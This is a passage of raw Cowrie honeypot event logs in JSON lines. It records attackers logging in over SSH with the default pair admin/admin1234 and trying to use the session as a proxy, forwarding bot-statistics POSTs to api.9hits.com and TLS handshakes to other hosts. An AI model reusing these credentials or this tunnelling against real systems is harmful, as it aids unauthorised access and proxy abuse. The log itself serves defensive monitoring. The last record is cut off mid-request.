{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1172\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=TjxpclAjcDRhPHZQSk9iVA%3D%3Du0P3tIIFTt8Pz%2FsmmyEuycsUwDeM5AB287kzqQ7B0bum2FzlFDF02uCVCaTi4Tq3ibZ%2BXR%2B6266Xx6iBV%2BO0J1yqAk6eEBQAH188FsJF1yqSGMVwLxbbdy50fqTTaSVz5BEoRvUZnR5WzVbsQIaZb%2FBzuNu9NmlcSYbWqVzTkLFxYZ%2B4XjzkBuJX5IwkoI0yvFIPor6uWN%2BFrtxTBWB1sa5x0Pqr%2Fei2ZYDSlMH0cHjHzqPAwwAD0ukBnXZZtOF2gDWrozzMnQXV4NcpFdobVWP0Wz8b4NusXLMD8UDQ2%2F8Y2zwA1GY%2FERkgfPWS1obkV4hsk2jyM2bUbxyDamymm%2Fl%2BvQDZg3GyxDlw649wS0MJqp55UKwqYKLOPNrqfYsXgBLJSKoPOaFf%2BEyJNfPuyp6gjKTeXpL7dCJWwQen5izlmd7fpUKY36rF%2FvxPUySMz1gCqFXSAeGkWwynWH%2BB2H%2BFnz9BHH84CvBD8HkwNsXJwpy62GJtEDJdwneFssrku7Y5GdrdhpZspjxEz9tTO0bVLjHj5VGNSWo9JktgQHyiiSqQb404tay6QTE7zqYWjwXXzxkLUpVojrFBG1h%2BugLqEeHdq1uFvrNXz6WeAac2D%2BRmnFaU9Pn3BB3chw23UH%2B%2BENtAZL6rGrfjZmH1dlTaI4vrTNPN0Qt42L94Ysw0c45UakGQiJ0KVxzJXtMNF6B8oULct%2BZ35YnMyDFrqbyozUPRN87fyKX5EROQtFUgvcn0SYtJAr5d1NcNVsp9DnqDMSfwBjC%2FrJDgVX5fgSX7cJ0f07DRE0OJ7OJWFVjECL9ATVK2i3Js6MWrP5r2O2icwHlDTKha089GSjRIYdJ2LO9qgQj6u4Kwb0ts3fRJovVUFDLWn0te2nGu%2FvvX4nCsdVsYvonlFGYualeJ%2FxmDt7nRAqjLhr8%2FTnXjsLEhA%2B585lWJB3eV6HmihhXeGzFmyGObCUE9l7VsH9KctzTap5574KJrnTumVOThcksll%2FDv2Q7i0jS8rAU9WzYx4kTRsk9fxRqE30W0wPIL7BbgZORxqXod8rZjo1LISWd2LALZcCgjsXJTUCX5VfdN'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1172\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=TjxpclAjcDRhPHZQSk9iVA%3D%3Du0P3tIIFTt8Pz%2FsmmyEuycsUwDeM5AB287kzqQ7B0bum2FzlFDF02uCVCaTi4Tq3ibZ%2BXR%2B6266Xx6iBV%2BO0J1yqAk6eEBQAH188FsJF1yqSGMVwLxbbdy50fqTTaSVz5BEoRvUZnR5WzVbsQIaZb%2FBzuNu9NmlcSYbWqVzTkLFxYZ%2B4XjzkBuJX5IwkoI0yvFIPor6uWN%2BFrtxTBWB1sa5x0Pqr%2Fei2ZYDSlMH0cHjHzqPAwwAD0ukBnXZZtOF2gDWrozzMnQXV4NcpFdobVWP0Wz8b4NusXLMD8UDQ2%2F8Y2zwA1GY%2FERkgfPWS1obkV4hsk2jyM2bUbxyDamymm%2Fl%2BvQDZg3GyxDlw649wS0MJqp55UKwqYKLOPNrqfYsXgBLJSKoPOaFf%2BEyJNfPuyp6gjKTeXpL7dCJWwQen5izlmd7fpUKY36rF%2FvxPUySMz1gCqFXSAeGkWwynWH%2BB2H%2BFnz9BHH84CvBD8HkwNsXJwpy62GJtEDJdwneFssrku7Y5GdrdhpZspjxEz9tTO0bVLjHj5VGNSWo9JktgQHyiiSqQb404tay6QTE7zqYWjwXXzxkLUpVojrFBG1h%2BugLqEeHdq1uFvrNXz6WeAac2D%2BRmnFaU9Pn3BB3chw23UH%2B%2BENtAZL6rGrfjZmH1dlTaI4vrTNPN0Qt42L94Ysw0c45UakGQiJ0KVxzJXtMNF6B8oULct%2BZ35YnMyDFrqbyozUPRN87fyKX5EROQtFUgvcn0SYtJAr5d1NcNVsp9DnqDMSfwBjC%2FrJDgVX5fgSX7cJ0f07DRE0OJ7OJWFVjECL9ATVK2i3Js6MWrP5r2O2icwHlDTKha089GSjRIYdJ2LO9qgQj6u4Kwb0ts3fRJovVUFDLWn0te2nGu%2FvvX4nCsdVsYvonlFGYualeJ%2FxmDt7nRAqjLhr8%2FTnXjsLEhA%2B585lWJB3eV6HmihhXeGzFmyGObCUE9l7VsH9KctzTap5574KJrnTumVOThcksll%2FDv2Q7i0jS8rAU9WzYx4kTRsk9fxRqE30W0wPIL7BbgZORxqXod8rZjo1LISWd2LALZcCgjsXJTUCX5VfdN'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:58:41.322329Z","src_ip":"113.164.152.20","session":"8fa8f7f54dc1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:58:41.580246Z","src_ip":"113.164.152.20","session":"8fa8f7f54dc1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xac\\x7fO\\x05C\\xf3\\xdb\\xbcX\\xd6\\xe8\\xb8]\\xce\\xa5z\\t/qy7\\xac\\xb2\\x926n\\x04\\xc1W{\\xb17 \\xea}\\xbe\\x13g\\x08K\\x8e\\xa7\\t\\x81\\xb7\\xa7\\xdcg\\x97\\xa6\\xbe\\xa1\\x86\\xd5\\xe4\\x0b\\x96w[\\x9b\\xb3s\\xf5\\xc0\\x19\\x00 \\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 r\\xecW\\x93xvx<t\\xbctwh\\xa9\\xa5h\\xdc\\xdd5OI\\xf5>'\\x86o\\x9d\\x05\\xd2\\n\\xf2\\x1a\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xac\\x7fO\\x05C\\xf3\\xdb\\xbcX\\xd6\\xe8\\xb8]\\xce\\xa5z\\t/qy7\\xac\\xb2\\x926n\\x04\\xc1W{\\xb17 \\xea}\\xbe\\x13g\\x08K\\x8e\\xa7\\t\\x81\\xb7\\xa7\\xdcg\\x97\\xa6\\xbe\\xa1\\x86\\xd5\\xe4\\x0b\\x96w[\\x9b\\xb3s\\xf5\\xc0\\x19\\x00 \\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 r\\xecW\\x93xvx<t\\xbctwh\\xa9\\xa5h\\xdc\\xdd5OI\\xf5>'\\x86o\\x9d\\x05\\xd2\\n\\xf2\\x1a\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:58:41.583295Z","src_ip":"113.164.152.20","session":"8fa8f7f54dc1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:58:42.107538Z","session":"8fa8f7f54dc1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:58:42.373130Z","src_ip":"113.164.152.20","session":"8fa8f7f54dc1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xadc^\\xed\\xa2e\\xb48\\x14\\xde\\x85\\x15\\xde\\x1b*\\x06wm\\x92\\x80cH\\xd1;&\\xaa\\xc5\\xb5A\\x1f\\xae\\xe9 \\xc1\\xac\\x1a\\xebzQ\\x00\\xc1\\xee\\xc6/>7\\x92[\\x10\\x0e\\x82q\\xb3\\x8aj=\\xf4\\xa2\\x9c\\x85v\\xfaC\\xaa\\x00\\x00\"\\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\xe4\\x8bo#\\xc2\\xe1\\x15\\xab\\xb7\\\\\\x9a\\xa6\\x04\\xff\\x1eFt\\t\\xbc#\\xda\\xae,\\xae\\xe6\\xae\\xe97l\\xbc\"\\x18\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xadc^\\xed\\xa2e\\xb48\\x14\\xde\\x85\\x15\\xde\\x1b*\\x06wm\\x92\\x80cH\\xd1;&\\xaa\\xc5\\xb5A\\x1f\\xae\\xe9 \\xc1\\xac\\x1a\\xebzQ\\x00\\xc1\\xee\\xc6/>7\\x92[\\x10\\x0e\\x82q\\xb3\\x8aj=\\xf4\\xa2\\x9c\\x85v\\xfaC\\xaa\\x00\\x00\"\\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\xe4\\x8bo#\\xc2\\xe1\\x15\\xab\\xb7\\\\\\x9a\\xa6\\x04\\xff\\x1eFt\\t\\xbc#\\xda\\xae,\\xae\\xe6\\xae\\xe97l\\xbc\"\\x18\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:58:42.376042Z","src_ip":"113.164.152.20","session":"8fa8f7f54dc1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:58:42.467237Z","src_ip":"23.175.50.51","session":"b3747d9f74e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":38898,"dst_ip":"159.203.135.109","dst_port":23,"session":"acf261673269","protocol":"telnet","message":"New connection: 172.81.62.90:38898 (159.203.135.109:23) [session: acf261673269]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:58:42.654135Z"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:58:42.743301Z","src_ip":"113.164.152.20","session":"8fa8f7f54dc1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"19.7","message":"Connection lost after 19.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:58:43.847598Z","src_ip":"23.175.50.51","session":"c51b14345c5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.52","src_port":51882,"dst_ip":"10.17.0.5","dst_port":22,"session":"c4129453e970","protocol":"ssh","message":"New connection: 23.175.50.52:51882 (10.17.0.5:22) [session: c4129453e970]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:58:54.842097Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:58:54.846316Z","src_ip":"23.175.50.52","session":"c4129453e970","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:58:55.017356Z","src_ip":"23.175.50.52","session":"c4129453e970","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:58:55.208953Z","session":"b3747d9f74e3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:58:55.218144Z","session":"b3747d9f74e3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:58:55.288455Z","src_ip":"23.175.50.51","session":"b3747d9f74e3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Android Futureve; Mobile; rv:77.0) Gecko/77.0 Firefox/77.0\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 1162\\r\\nOrigin: http://api.9hits.com\\r\\nConnection: keep-alive\\r\\nPragma: no-cache\\r\\nCache-Control: 